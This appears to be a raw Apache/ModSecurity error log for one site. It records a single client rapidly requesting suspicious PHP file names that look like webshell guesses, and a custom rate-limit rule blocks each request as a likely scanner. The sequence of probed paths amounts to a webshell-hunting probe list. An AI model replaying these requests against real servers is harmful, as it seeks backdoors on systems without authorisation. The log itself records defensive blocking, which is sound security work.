[Thu Apr 23 21:40:50.379331 2026] [:error] [pid 64967:tid 64988] [client 4.232.90.249:59781] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeohYoAV4GfOOdX8Qzp3EQAAAZM"]
[Thu Apr 23 21:40:51.044137 2026] [:error] [pid 42973:tid 43058] [client 4.232.90.249:56583] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeohY26I0QqmmmLTHE0g1gAAAI8"]
[Thu Apr 23 21:40:51.722318 2026] [:error] [pid 64967:tid 64979] [client 4.232.90.249:50922] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeohY4AV4GfOOdX8Qzp3EgAAAYo"]
[Thu Apr 23 21:40:52.981973 2026] [:error] [pid 42973:tid 43048] [client 4.232.90.249:59836] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeohZG6I0QqmmmLTHE0g2QAAAIU"]
[Thu Apr 23 21:40:53.791504 2026] [:error] [pid 25635:tid 25648] [client 4.232.90.249:61070] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeohZcRxv6UsgRGKB3I1ZgAAAQk"]
[Thu Apr 23 21:40:55.640518 2026] [:error] [pid 65000:tid 65052] [client 4.232.90.249:65522] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeohZ76vRb9j6psK2ZaWGQAAAhM"]
[Thu Apr 23 21:40:56.578982 2026] [:error] [pid 59700:tid 59703] [client 4.232.90.249:50933] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeohaJXyGZJFeAIDWtks2QAAAUE"]
[Thu Apr 23 21:40:57.737047 2026] [:error] [pid 59700:tid 59710] [client 4.232.90.249:65480] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeohaZXyGZJFeAIDWtks2gAAAUg"]
[Thu Apr 23 21:40:58.753594 2026] [:error] [pid 42972:tid 43023] [client 4.232.90.249:30785] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeohasOAb-3sOknsk4dD2QAAAEc"]
[Thu Apr 23 21:40:59.706330 2026] [:error] [pid 64998:tid 65012] [client 4.232.90.249:41511] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoha4V5EysYcTLjmwiG-QAAAco"]
[Thu Apr 23 21:41:01.339177 2026] [:error] [pid 59700:tid 59708] [client 4.232.90.249:41876] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeohbZXyGZJFeAIDWtks3AAAAUY"]
[Thu Apr 23 21:41:02.145711 2026] [:error] [pid 64998:tid 65015] [client 4.232.90.249:65517] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeohboV5EysYcTLjmwiHAQAAAc0"]
[Thu Apr 23 21:41:03.840285 2026] [:error] [pid 46953:tid 46965] [client 4.232.90.249:41485] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeohb0nlpdHh-P6wKbo73AAAAkk"]
[Thu Apr 23 21:41:04.698324 2026] [:error] [pid 46953:tid 46971] [client 4.232.90.249:50905] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeohcEnlpdHh-P6wKbo73gAAAk8"]
[Thu Apr 23 21:41:06.828800 2026] [:error] [pid 46953:tid 46963] [client 4.232.90.249:56615] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeohcknlpdHh-P6wKbo73wAAAkc"]
[Thu Apr 23 21:41:07.935293 2026] [:error] [pid 42973:tid 43054] [client 4.232.90.249:41875] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeohc26I0QqmmmLTHE0g4gAAAIs"]
[Thu Apr 23 21:41:08.742033 2026] [:error] [pid 42971:tid 43003] [client 4.232.90.249:59777] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeohdDEP2_5RswrH8bEtGgAAABE"]
[Thu Apr 23 21:41:09.887886 2026] [:error] [pid 42973:tid 43063] [client 4.232.90.249:41475] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeohdW6I0QqmmmLTHE0g5wAAAJQ"]
[Thu Apr 23 21:41:10.709086 2026] [:error] [pid 46953:tid 46974] [client 4.232.90.249:46146] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeohdknlpdHh-P6wKbo74gAAAlI"]
[Thu Apr 23 21:41:11.746904 2026] [:error] [pid 65000:tid 65057] [client 4.232.90.249:50935] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeohd76vRb9j6psK2ZaWTgAAAhg"]
[Thu Apr 23 21:41:12.568316 2026] [:error] [pid 42972:tid 43016] [client 4.232.90.249:45201] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoheMOAb-3sOknsk4dD5QAAAEA"]
[Thu Apr 23 21:41:15.432416 2026] [:error] [pid 42972:tid 43027] [client 4.232.90.249:50916] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeohe8OAb-3sOknsk4dD6QAAAEs"]
[Thu Apr 23 21:41:19.987109 2026] [:error] [pid 59700:tid 59712] [client 4.232.90.249:50903] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeohf5XyGZJFeAIDWtks5AAAAUo"]
[Thu Apr 23 21:41:23.206607 2026] [:error] [pid 64998:tid 65014] [client 4.232.90.249:65510] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeohg4V5EysYcTLjmwiHDgAAAcw"]
[Thu Apr 23 21:41:29.726859 2026] [:error] [pid 65000:tid 65054] [client 4.232.90.249:30813] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeohib6vRb9j6psK2ZaWcgAAAhU"]
[Thu Apr 23 21:41:31.373876 2026] [:error] [pid 59700:tid 59720] [client 4.232.90.249:56611] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeohi5XyGZJFeAIDWtks6gAAAVI"]
[Thu Apr 23 21:41:32.694061 2026] [:error] [pid 65000:tid 65057] [client 4.232.90.249:56625] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeohjL6vRb9j6psK2ZaWeAAAAhg"]
[Thu Apr 23 21:41:35.110928 2026] [proxy_fcgi:error] [pid 43083:tid 43085] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:35.360062 2026] [proxy_fcgi:error] [pid 43083:tid 43097] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:35.620398 2026] [proxy_fcgi:error] [pid 43083:tid 43088] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:35.863987 2026] [proxy_fcgi:error] [pid 43083:tid 43101] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:36.107797 2026] [proxy_fcgi:error] [pid 43083:tid 43109] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:36.359724 2026] [proxy_fcgi:error] [pid 43083:tid 43094] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:36.854502 2026] [proxy_fcgi:error] [pid 43083:tid 43095] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:37.097016 2026] [proxy_fcgi:error] [pid 43083:tid 43087] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:37.339114 2026] [proxy_fcgi:error] [pid 43083:tid 43105] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:37.842191 2026] [proxy_fcgi:error] [pid 43083:tid 43092] [client 4.232.90.249:56634] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:41:38.087936 2026] [:error] [pid 43083:tid 43104] [client 4.232.90.249:56634] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeohkjC5hrvNXosL83J7dwAAANM"]
[Thu Apr 23 21:41:39.128174 2026] [:error] [pid 65000:tid 65048] [client 4.232.90.249:50939] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeohk76vRb9j6psK2ZaWhwAAAg8"]
[Thu Apr 23 21:41:41.125553 2026] [:error] [pid 64998:tid 65004] [client 4.232.90.249:61102] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeohlYV5EysYcTLjmwiHIgAAAcI"]
[Thu Apr 23 21:41:42.721606 2026] [:error] [pid 65000:tid 65055] [client 4.232.90.249:59825] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeohlr6vRb9j6psK2ZaWkAAAAhY"]
[Thu Apr 23 21:41:43.467922 2026] [:error] [pid 42973:tid 43065] [client 4.232.90.249:4294] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeohl26I0QqmmmLTHE0hKAAAAJY"]
[Thu Apr 23 21:41:44.735991 2026] [:error] [pid 42973:tid 43058] [client 4.232.90.249:46201] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeohmG6I0QqmmmLTHE0hKwAAAI8"]
[Thu Apr 23 21:41:47.286573 2026] [:error] [pid 42972:tid 43024] [client 4.232.90.249:59830] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeohm8OAb-3sOknsk4dECwAAAEg"]
[Thu Apr 23 21:41:48.759651 2026] [:error] [pid 65000:tid 65044] [client 4.232.90.249:56590] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeohnL6vRb9j6psK2ZaWmwAAAgs"]
[Thu Apr 23 21:41:49.641125 2026] [:error] [pid 42971:tid 43004] [client 4.232.90.249:61074] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeohnTEP2_5RswrH8bEtNwAAABI"]
[Thu Apr 23 21:41:50.297053 2026] [:error] [pid 65000:tid 65042] [client 4.232.90.249:4299] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeohnr6vRb9j6psK2ZaWnwAAAgk"]
[Thu Apr 23 21:41:51.002085 2026] [:error] [pid 46953:tid 46968] [client 4.232.90.249:4309] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeohn0nlpdHh-P6wKbo8DwAAAkw"]
[Thu Apr 23 21:41:51.791138 2026] [:error] [pid 46953:tid 46976] [client 4.232.90.249:30799] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeohn0nlpdHh-P6wKbo8EQAAAlQ"]
[Thu Apr 23 21:41:52.759541 2026] [:error] [pid 46953:tid 46970] [client 4.232.90.249:65518] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeohoEnlpdHh-P6wKbo8FQAAAk4"]
[Thu Apr 23 21:41:53.954417 2026] [:error] [pid 64998:tid 65017] [client 4.232.90.249:46147] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeohoYV5EysYcTLjmwiHLAAAAc8"]
[Thu Apr 23 21:41:54.735899 2026] [:error] [pid 64998:tid 65008] [client 4.232.90.249:50936] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeohooV5EysYcTLjmwiHLQAAAcY"]
[Thu Apr 23 21:41:57.196540 2026] [:error] [pid 65000:tid 65049] [client 4.232.90.249:50896] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeohpb6vRb9j6psK2ZaWtgAAAhA"]
[Thu Apr 23 21:41:59.828805 2026] [:error] [pid 65000:tid 65047] [client 4.232.90.249:4349] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeohp76vRb9j6psK2ZaWvQAAAg4"]
[Thu Apr 23 21:42:03.571055 2026] [:error] [pid 65000:tid 65041] [client 4.232.90.249:4315] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeohq76vRb9j6psK2ZaWwwAAAgg"]
[Thu Apr 23 21:42:05.101785 2026] [:error] [pid 64998:tid 65024] [client 4.232.90.249:65502] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeohrYV5EysYcTLjmwiHPwAAAdY"]
[Thu Apr 23 21:42:06.300623 2026] [:error] [pid 65000:tid 65039] [client 4.232.90.249:45222] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeohrr6vRb9j6psK2ZaWzQAAAgY"]
[Thu Apr 23 21:42:07.100536 2026] [:error] [pid 42972:tid 43031] [client 4.232.90.249:56616] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeohr8OAb-3sOknsk4dEEAAAAE8"]
[Thu Apr 23 21:42:07.802624 2026] [:error] [pid 64998:tid 65005] [client 4.232.90.249:30843] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeohr4V5EysYcTLjmwiHSQAAAcM"]
[Thu Apr 23 21:42:08.448499 2026] [:error] [pid 64998:tid 65025] [client 4.232.90.249:56577] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeohsIV5EysYcTLjmwiHSwAAAdc"]
[Thu Apr 23 21:42:08.977875 2026] [:error] [pid 42972:tid 43039] [client 4.232.90.249:41866] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeohsMOAb-3sOknsk4dEFwAAAFc"]
[Thu Apr 23 21:42:09.620406 2026] [:error] [pid 65000:tid 65050] [client 4.232.90.249:59793] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeohsb6vRb9j6psK2ZaW0QAAAhE"]
[Thu Apr 23 21:42:10.681911 2026] [:error] [pid 65000:tid 65031] [client 4.232.90.249:50900] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeohsr6vRb9j6psK2ZaW2AAAAgI"]
